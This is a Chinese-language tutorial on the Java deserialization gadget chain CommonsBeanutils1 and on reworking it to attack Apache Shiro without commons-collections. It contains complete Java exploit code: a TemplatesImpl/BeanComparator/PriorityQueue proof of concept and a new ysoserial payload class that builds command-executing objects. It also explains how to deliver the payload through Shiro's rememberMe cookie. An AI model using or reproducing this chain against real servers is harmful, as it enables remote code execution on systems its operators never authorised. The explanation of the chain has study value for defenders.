ysoserial-CommonsBeanutils1的shiro无依赖链改造

一、CB1利用链分析

此条利用链需要配合Commons-Beanutils组件来进行利用，在shiro中是自带此组件的。

先上大佬写的简化版利用链，和ysoserial中的代码有点不同，但原理是一样的

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils {
    // 修改值的方法，简化代码
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    public static void main(String[] args) throws Exception {
        // 创建恶意类，用于报错抛出调用链
        ClassPool pool = ClassPool.getDefault();
        CtClass payload = pool.makeClass("EvilClass");
        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
//        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] evilClass = payload.toBytecode();

        // set field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        // 创建序列化对象
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);

        // 修改值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 反序列化
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
        out.writeObject(queue);
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
        in.readObject();

    }
}

在分析每一条利用链的方法时候，我都会从以下几个点来进行分析：

1、首先要找到反序列化入口（source）
2、调用链（gadget）
3、触发漏洞的目标方法（sink）

而此条利用链，这三点分别为：

1）入口：

PriorityQueue#readObject

2）调用链：

PriorityQueue#readObject -》 BeanComparator#compare -》 TemplatesImpl#getOutputProperties

3）触发漏洞的目标方法：

TemplatesImpl#getOutputProperties

PriorityQueue

PriorityQueue#readObject作为CC2的入口点，在CB1链中同样是以此为入口，其readObject中有个heapify方法

跟进heapify，在713行会去调用siftDown方法，前提是满足for循环中的size值大于等于2

siftDown方法中，通过一个if判断后，会调用到两个方法，而在siftDownUsingComparator中才是执行调用链的操作

跟进siftDownUsingComparator方法，可以看到在699行调用了comparator#compare，整个PriorityQueue类的漏洞调用链就是到这里了

BeanComparator

BeanComparator是一个bean比较器，用来比较两个JavaBean是否相等，其实现了java.util.Comparator接口，有一个Comparator方法

可以看到，在Comparator方法中先判断property值是否为空，之后调用了PropertyUtils.getProperty方法。而PropertyUtils.getProperty这个方法会去调用传入的javaBean中this.property值的getter方法，这个点是调用链的关键！

TemplatesImpl

漏洞的触发点就是利用了TemplatesImpl#getOutputProperties()方法的加载字节码，来调用到恶意类的构造方法、静态方法。整个调用链就不分析了，这里写下调用链：

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

二、Shiro无依赖利用链改造

在ysoserial中的CB1链，其实是依赖commons.collections包的，也就是CC链中的包，因为其BeanComparator类的构造方法中，会调用到ComparableComparator.getInstance()，ComparableComparator类就是在commons.collections包中。

shiro中自带了Commons-Beanutils组件，并没有自带commons.collections包。所以我们尝试修改CB1链来使其脱离commons.collections包的限制。

需要满足三个条件：

实现java.util.Comparator接口
实现java.io.Serializable接口
Java、shiro或commons-beanutils自带，且兼容性强

在这里师傅们找到了两个类

CaseInsensitiveComparator和java.util.Collections$ReverseComparator

以CaseInsensitiveComparator类为例，CaseInsensitiveComparator对象是通过String.CASE_INSENSITIVE_ORDER拿到的

只需要把String.CASE_INSENSITIVE_ORDER放入BeanComparator类的构造函数中即可使if为真，从而不调用到CC组件中的类

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

这里使用P神已经写好的POC来进行测试，项目地址在https://github.com/phith0n/JavaThings

打开shiroattack项目

运行以上的Client1后，会生成cookie中对应的rememberMe值

shiro环境同样使用P神的环境https://github.com/phith0n/JavaThings，注释掉环境shiro环境中的commons-collections组件

访问/login.jsp界面勾选rememberMe登录，使用burp抓包，在cookie里面添加rememberMe=payload;

另一个类java.util.Collections$ReverseComparator，也是通过其静态方法拿到

同样只需要把Collections.reverseOrder()放入BeanComparator类的构造函数中即可

BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

三、ysoserial改造

把以下代码加入ysoserial的payloads模块即可

package ysoserial.payloads;

import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.util.Collections;
import java.util.PriorityQueue;

public class CommonsBeanutils2 implements ObjectPayload<Object>{

    public Object getObject(final String command) throws Exception {

        final Object templates = Gadgets.createTemplatesImpl(command);
        // mock method name until armed
        final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        // switch method called by comparator
        Reflections.setFieldValue(comparator, "property", "outputProperties");

        // switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;

        return queue;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsBeanutils2.class, args);
    }
}